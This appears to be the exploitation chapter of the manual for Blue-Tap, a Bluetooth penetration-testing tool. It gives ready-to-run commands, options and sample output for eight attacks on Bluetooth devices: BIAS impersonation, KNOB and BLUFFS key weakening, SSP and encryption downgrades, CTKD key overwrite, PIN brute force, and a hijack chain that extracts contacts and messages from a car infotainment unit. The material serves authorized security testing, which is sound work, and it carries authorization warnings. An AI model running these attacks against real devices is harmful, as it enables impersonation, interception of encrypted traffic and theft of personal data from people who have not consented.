Exploitation

Modules: 8 primary attacks

Intrusive Operations

All exploitation commands are intrusive. They require --yes or interactive confirmation before execution. Do not run against targets you do not own or have authorization to test.

5 of 8 attacks require DarkFirmware (RTL8761B firmware patching) for below-HCI packet injection. DarkFirmware hooks into the Bluetooth controller's LMP/LL processing to inject, modify, or suppress link-layer frames that are normally inaccessible from the host.

Target is optional

The target address can be omitted from all exploit commands. When no target is provided, Blue-Tap scans for nearby devices and presents an interactive picker.

Exploitation is the phase where confirmed vulnerabilities from Vulnerability Assessment are actively attacked. Always run vulnscan first --- exploiting a vulnerability that the target is not actually affected by wastes time and may crash the target for no reason.

---

The Attack Chain

Blue-Tap's exploitation modules can be used individually or composed into an attack chain --- a sequence of attacks where each step enables the next:

SSP Downgrade  →  PIN Brute Force  →  Authenticated connection
BIAS           →  Impersonate phone →  Extract contacts/messages
KNOB           →  Weak encryption   →  Decrypt traffic in real-time
BLUFFS         →  Weak session key  →  Decrypt + inject traffic
CTKD           →  Overwrite keys    →  Persistent access

The hijack command automates the full chain: MAC spoofing, BIAS impersonation, connection establishment, and data extraction in a single operation.

---

DarkFirmware Requirements

Attack	DarkFirmware Required	Why
BIAS	Yes	Requires LMP role-switch injection during authentication
KNOB	Yes	Requires modifying LMP key size negotiation frames
BLUFFS	Yes	Requires manipulating session key derivation at LMP level
Encryption Downgrade	Yes	Requires injecting LMP encryption mode frames
CTKD	Yes	Requires below-HCI key derivation manipulation
SSP Downgrade	No	Uses standard HCI to clear SSP feature bit
Connection Hijack	Yes	Combines BIAS (which requires DarkFirmware) with extraction
PIN Brute Force	No	Uses standard HCI pairing interface

What is DarkFirmware?

DarkFirmware is a custom firmware patch for the RTL8761B Bluetooth controller (commonly found in USB dongles like the TP-Link UB500). It adds hooks that allow the host to inject and intercept LMP (Link Manager Protocol) frames --- the layer below HCI where encryption negotiation, key exchange, and role switching happen. Without DarkFirmware, these operations are handled entirely by the controller firmware and are invisible to the host stack. See the hardware documentation for setup instructions.

---

Attacks

BIAS --- Bluetooth Impersonation Attacks

CVE: CVE-2020-10135

DarkFirmware: Required

Background

BIAS exploits a flaw in the Bluetooth authentication procedure. When two previously paired devices reconnect, they perform mutual authentication using a shared link key. The vulnerability is that the spec allows a role-switch during this process. By switching from claimant (prover) to verifier, the attacker avoids ever proving it possesses the link key --- the target authenticates itself to the attacker, but never verifies the attacker's identity. This affects virtually all Bluetooth devices manufactured before 2020.

Prerequisites

• DarkFirmware dongle (RTL8761B)
• Target must have a prior pairing with the phone being impersonated
• Phone's BD_ADDR (obtainable from Reconnaissance)
• Phone's Bluetooth name (optional, improves success rate)

Impersonates a previously paired device by exploiting the authentication procedure. Uses role-switch during connection setup to bypass mutual authentication.

blue-tap exploit 4C:4F:EE:17:3A:89 bias F8:27:93:A1:D4:12 --phone-name "Galaxy S24" --method auto

Option	Type	Default	Description
PHONE	positional	---	Address of the device to impersonate
--phone-name	string	---	Bluetooth name to spoof
--method	choice	auto	auto, role_switch, darkfirmware, probe

How it works: The attacker initiates a connection to the target while claiming to be the paired phone. During authentication, a role-switch is performed so the attacker becomes the verifier instead of the claimant, bypassing the need to prove possession of the link key.

Expected output

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 bias F8:27:93:A1:D4:12 \
    --phone-name "Galaxy S24" --method auto --yes
Session: blue-tap_20260416_152000

[*] Spoofing adapter to F8:27:93:A1:D4:12 (Galaxy S24)
[*] Initiating connection to 4C:4F:EE:17:3A:89...
[*] LMP authentication started
[*] Injecting role-switch (claimant → verifier)
[*] Role-switch accepted by target
[*] Target authenticated itself to us
[+] BIAS attack successful — authenticated connection established
[+] Connection handle: 0x0040
[+] Encryption: active (E0, key_size=16)

Probe Mode

Use -m probe to test whether the target is vulnerable without completing the attack. Probe mode initiates the role-switch but disconnects before establishing the full connection. This is less disruptive and useful for assessment without exploitation.

---

KNOB --- Key Negotiation of Bluetooth

CVE: CVE-2019-9506

DarkFirmware: Required

Background

KNOB exploits the encryption key size negotiation in Bluetooth Classic. When two devices set up encryption, they negotiate the key size (1--16 bytes). The specification (prior to BT 5.1) allowed a minimum of 1 byte. An attacker positioned as a MitM can intercept and modify the LMP_encryption_key_size_req to force both sides down to 1 byte. A 1-byte key has only 256 possible values and can be brute-forced in under a second, giving the attacker the encryption key.

Prerequisites

• DarkFirmware dongle (RTL8761B)
• Target must support encryption (virtually all devices do)
• Target must accept key sizes below 7 bytes (patched in BT 5.1)

Downgrades the encryption key size to 1 byte during key negotiation, making brute-force trivial.

blue-tap exploit 4C:4F:EE:17:3A:89 knob --key-size 1

Option	Type	Default	Description
-k, --key-size	int	1	Target key size in bytes (1--16)

How it works: During LMP encryption setup, the attacker intercepts and modifies the LMP_encryption_key_size_req to propose a 1-byte key. Both sides accept because the specification allowed key sizes down to 1 byte prior to Bluetooth 5.1.

Expected output

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 knob --key-size 1 --yes
Session: blue-tap_20260416_152200

[*] Establishing connection to 4C:4F:EE:17:3A:89...
[*] Intercepting LMP key size negotiation
[*] Original proposed key size: 16 bytes
[*] Modified to: 1 byte
[*] Target accepted key_size=1
[*] Brute-forcing 1-byte key (256 candidates)...
[+] Key found: 0xA7 (took 0.3s)
[+] Encryption active with known key — traffic is decryptable

Patched in BT 5.1+

Bluetooth 5.1 introduced a 7-byte minimum key size. Targets with BT 5.1+ firmware are not vulnerable. Use recon TARGET fingerprint to check the target's BT version before attempting this attack.

---

BLUFFS --- Bluetooth Forward and Future Secrecy Attacks

CVE: CVE-2023-24023

DarkFirmware: Required

Background

BLUFFS is a family of six attacks (A1--A6) that target the session key derivation process in Bluetooth Classic. Even when the link key is strong (16 bytes), the session key derived from it can be weakened by manipulating the diversifiers used during derivation. The attacker forces the use of known or low-entropy diversifiers, resulting in a session key with 7 or fewer bytes of effective entropy. This breaks both forward secrecy (past sessions can be decrypted) and future secrecy (future sessions are predictable).

Prerequisites

• DarkFirmware dongle (RTL8761B)
• For MitM variants (A3--A6): phone address of a paired device
• Target must use BR/EDR Secure Connections or Legacy pairing

Downgrades session key derivation to produce weak session keys. Six attack variants (A1--A6) target different phases of the key derivation process.

blue-tap exploit 4C:4F:EE:17:3A:89 bluffs --variant a3 --phone F8:27:93:A1:D4:12

Option	Type	Default	Description
-V, --variant	choice	a3	Attack variant: probe, a1, a2, a3, a4
--phone	string	---	Phone address for A1/A2 variants

How it works: The attacker forces the use of weak or known diversifiers during session key derivation. The resulting session key has low entropy (<=7 bytes effective), enabling real-time decryption of encrypted traffic.

Variant	Type	Description
probe	Detection	Test if target is vulnerable without full attack
A1	Unilateral	Attacker as peripheral, forces weak key
A2	Unilateral	Attacker as central, forces weak key
A3	MitM	Relay between target and phone, weak key on both sides
A4	MitM	Relay with legacy pairing downgrade

Expected output (variant A3)

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 bluffs \
    --variant a3 --phone F8:27:93:A1:D4:12 --yes
Session: blue-tap_20260416_152400

[*] Setting up MitM relay between target and phone
[*] Intercepting session key derivation
[*] Forcing weak diversifier on target side
[*] Forcing weak diversifier on phone side
[*] Session key entropy: 4 bytes effective (of 16)
[+] BLUFFS A3 successful — session key is brute-forceable
[+] Estimated brute-force time: <1 minute

---

SSP Downgrade

CVE: N/A (design weakness)

DarkFirmware: Not required

Background

Secure Simple Pairing (SSP), introduced in Bluetooth 2.1, replaced legacy PIN pairing with ECDH-based key exchange and user confirmation methods (Numeric Comparison, Passkey Entry). However, for backward compatibility, devices that support SSP can fall back to legacy pairing when the other device claims not to support it. Legacy pairing uses a 4-digit PIN (10,000 combinations), which is trivially brute-forceable. This is a design weakness, not a bug --- the spec intentionally allows the fallback.

Prerequisites

• Any Bluetooth adapter (no DarkFirmware needed)
• Target must support legacy pairing as a fallback (most devices do)

Forces a target to fall back from Secure Simple Pairing (SSP) to legacy PIN pairing, which is brute-forceable.

blue-tap exploit 4C:4F:EE:17:3A:89 ssp-downgrade --method downgrade_and_brute

Option	Type	Default	Description
--method	choice	---	probe, downgrade, downgrade_and_brute
--pin-start	int	0	PIN range start (for brute mode)
--pin-end	int	9999	PIN range end (for brute mode)

How it works: The attacker claims not to support SSP (by clearing the SSP bit in its feature page). If the target accepts legacy pairing as a fallback, the 4-digit PIN space (10,000 combinations) can be brute-forced.

Expected output

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 ssp-downgrade --method probe --yes
Session: blue-tap_20260416_152600

[*] Connecting with SSP disabled in feature page
[*] Target initiated legacy PIN pairing (SSP downgrade accepted)
[+] SSP downgrade successful — target falls back to legacy PIN
[i] Use --method downgrade_and_brute to attempt PIN brute-force

Probe First

Always run with --method probe first to confirm the downgrade works before committing to a brute-force run. The brute-force can take several minutes and causes repeated pairing attempts that may be noticed.

---

Encryption Downgrade

CVE: N/A (LMP-level attack)

DarkFirmware: Required

Background

Bluetooth Classic encryption can be disabled or downgraded at the LMP layer. Three attack vectors exist: (1) injecting LMP_encryption_mode_req with encryption=0 to disable encryption entirely, (2) toggling encryption off and back on to force renegotiation with weaker parameters, and (3) forcing a downgrade from AES-CCM (Secure Connections) to E0 stream cipher (legacy). E0 has known weaknesses and shorter effective key length.

Prerequisites

• DarkFirmware dongle (RTL8761B)
• Active connection between target and another device (or establish one via BIAS)

Disables or downgrades encryption on an active connection by injecting LMP frames.

blue-tap exploit 4C:4F:EE:17:3A:89 enc-downgrade --method all

Option	Type	Default	Description
--method	choice	all	all (try every method), disable, toggle, legacy

How it works: Injects LMP_encryption_mode_req with encryption disabled, or toggles encryption off and back on to force renegotiation with weaker parameters. The legacy method forces a downgrade from AES-CCM to E0 stream cipher.

Success semantics

The envelope's top-level success=true means "at least one method actually compromised encryption on the target" (i.e. vulnerable_methods is non-empty). If every method runs but the target rejected all downgrade attempts, success=false. Earlier builds returned success=true unconditionally whenever the run completed; automation that relied on the field to decide whether to proceed to extraction would have been misled by that behavior.

Expected output

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 enc-downgrade --method legacy --yes
Session: blue-tap_20260416_152800

[*] Connected to 4C:4F:EE:17:3A:89
[*] Current encryption: AES-CCM (Secure Connections)
[*] Injecting LMP to force E0 renegotiation
[*] Encryption toggled off
[*] Encryption renegotiated with E0 cipher
[+] Encryption downgrade successful: AES-CCM → E0
[+] Effective key strength reduced

---

CTKD --- Cross-Transport Key Derivation (BLURtooth)

CVE: CVE-2020-15802

DarkFirmware: Required

Background

Cross-Transport Key Derivation (CTKD) is a Bluetooth feature that allows a key established on one transport (Classic or BLE) to be used on the other transport. The vulnerability is that a weak key derived from an insecure BLE pairing (e.g., JustWorks with no MITM protection) can overwrite a strong key that was previously established on Classic BR/EDR through secure pairing. This gives the attacker persistent access --- even if the owner re-pairs securely on Classic, the BLE-derived weak key takes precedence.

Prerequisites

• DarkFirmware dongle (RTL8761B)
• Target must be a dual-mode device (Classic + BLE)
• Target must support CTKD (check via recon TARGET fingerprint)

Exploits Cross-Transport Key Derivation to overwrite a strong key on one transport (Classic/BLE) with a weak key derived from the other transport.

blue-tap exploit 4C:4F:EE:17:3A:89 ctkd

How it works: The attacker pairs over BLE using a weak method (e.g., JustWorks), then triggers CTKD to derive a Classic BR/EDR link key from the weak BLE key. This overwrites any existing strong link key on the Classic transport.

Expected output

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 ctkd --yes
Session: blue-tap_20260416_153000

[*] Initiating BLE pairing (JustWorks)
[*] BLE pairing complete — weak LTK established
[*] Triggering CTKD to derive BR/EDR link key
[*] BR/EDR link key overwritten with BLE-derived key
[+] CTKD attack successful
[+] BR/EDR link key is now attacker-controlled
[+] Classic connection possible with known key

---

Connection Hijack

CVE: Composite (BIAS + impersonation + extraction)

DarkFirmware: Required

Background

Connection hijack is the "full chain" attack that demonstrates the real-world impact of Bluetooth authentication vulnerabilities. It chains MAC spoofing, BIAS impersonation, and post-exploitation extraction into a single automated operation. This is what an attacker would do in practice: impersonate the owner's phone to the car's IVI system, establish an authenticated connection, and exfiltrate contacts, messages, and call history.

Prerequisites

• DarkFirmware dongle (RTL8761B)
• Phone's BD_ADDR (the device to impersonate)
• Phone's Bluetooth name (improves success rate)
• Target must have a prior pairing with the phone
• PBAP/MAP/HFP services on the target (check via recon TARGET sdp)

Full attack chain: spoofs MAC address, impersonates a paired device, establishes a connection, and extracts data via PBAP/MAP/HFP.

blue-tap exploit 4C:4F:EE:17:3A:89 hijack F8:27:93:A1:D4:12 --phone-name "Galaxy S24"

Option	Type	Default	Description
PHONE	positional	---	Address of device to impersonate
--phone-name	string	---	Bluetooth name to spoof
--no-pbap	flag	---	Skip phonebook extraction
--no-map	flag	---	Skip message extraction
--no-hfp	flag	---	Skip HFP audio channel

How it works: Combines MAC spoofing, BIAS impersonation, and post-exploitation extraction into a single automated chain. First spoofs the adapter to the phone's address, then connects to the target as the impersonated phone, and finally extracts available data.

Expected output

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 hijack F8:27:93:A1:D4:12 \
    --phone-name "Galaxy S24" --yes
Session: blue-tap_20260416_153200

── Phase 1: MAC Spoofing ───────────────────────────────────────────────────────
[*] Spoofing adapter to F8:27:93:A1:D4:12
[+] MAC address spoofed successfully

── Phase 2: BIAS Impersonation ─────────────────────────────────────────────────
[*] Connecting as "Galaxy S24" to 4C:4F:EE:17:3A:89
[*] LMP role-switch injected
[+] Authenticated connection established (handle: 0x0040)

── Phase 3: Data Extraction ────────────────────────────────────────────────────
[*] PBAP: Downloading phonebook...
[+] PBAP: 847 contacts extracted → contacts_20260416.vcf

[*] MAP: Downloading messages...
[+] MAP: 234 messages extracted → messages_20260416.json

[*] HFP: Establishing audio channel...
[+] HFP: Audio channel active on SCO link

── Summary ─────────────────────────────────────────────────────────────────────
[+] Hijack complete: 847 contacts, 234 messages, HFP audio active
[+] Artifacts saved to session directory

---

PIN Brute Force

CVE: N/A

DarkFirmware: Not required

Background

Legacy Bluetooth pairing uses a shared PIN code, typically 4 digits. The PIN space has only 10,000 combinations (0000--9999), making exhaustive search practical. Many devices use a fixed PIN (often "0000" or "1234") or accept any PIN during a window after entering pairing mode. PIN brute force is typically used after a successful SSP downgrade forces the target into legacy pairing mode.

Prerequisites

• Any Bluetooth adapter (no DarkFirmware needed)
• Target must be in legacy pairing mode (run SSP downgrade first if needed)
• Target must not implement PIN lockout (check with vulnscan pin_lockout check)

Brute-forces the legacy PIN after a successful SSP downgrade.

blue-tap exploit 4C:4F:EE:17:3A:89 pin-brute --start 0 --end 9999

Option	Type	Default	Description
--start	int	0	PIN range start
--end	int	9999	PIN range end

How it works: Iterates through the PIN space, attempting pairing with each candidate. The 4-digit PIN space has only 10,000 combinations, making exhaustive search practical.

Expected output

$ sudo blue-tap exploit 4C:4F:EE:17:3A:89 pin-brute --start 0 --end 9999 --yes
Session: blue-tap_20260416_153400

[*] Starting PIN brute-force (0000-9999)
[*] Attempting PIN 0000... rejected
[*] Attempting PIN 0001... rejected
...
[*] Attempting PIN 1234... accepted!
[+] PIN found: 1234 (attempted 1235 of 10000)
[+] Pairing established with target

PIN Lockout

Some devices implement PIN attempt lockout after 3--5 failures, temporarily or permanently blocking further pairing attempts. Run the pin_lockout posture check via vulnscan before attempting brute-force. If lockout is active, the brute-force will be detected and may lock you out.

---

Safety Notes

Target Impact

• Exploitation commands will disrupt the target device's Bluetooth functionality
• Some attacks (KNOB, BLUFFS, Encryption Downgrade) perform MitM operations that break existing connections
• DoS may be a side effect of failed exploitation attempts
• Always have physical access to the target or a recovery plan

Recommended Workflow

1. Run Discovery to find the target
2. Run Reconnaissance to enumerate services and fingerprint the device
3. Run Vulnerability Assessment to identify which vulnerabilities are present
4. Use exploit only for confirmed vulnerabilities
5. Start with --method probe where available to test feasibility before full exploitation
6. Generate a report with blue-tap report to document findings

---

What's Next?

• CLI Reference --- full command reference for all Blue-Tap commands
• Vulnerability Assessment --- scan for vulnerabilities before attempting exploitation
• Discovery --- find targets to assess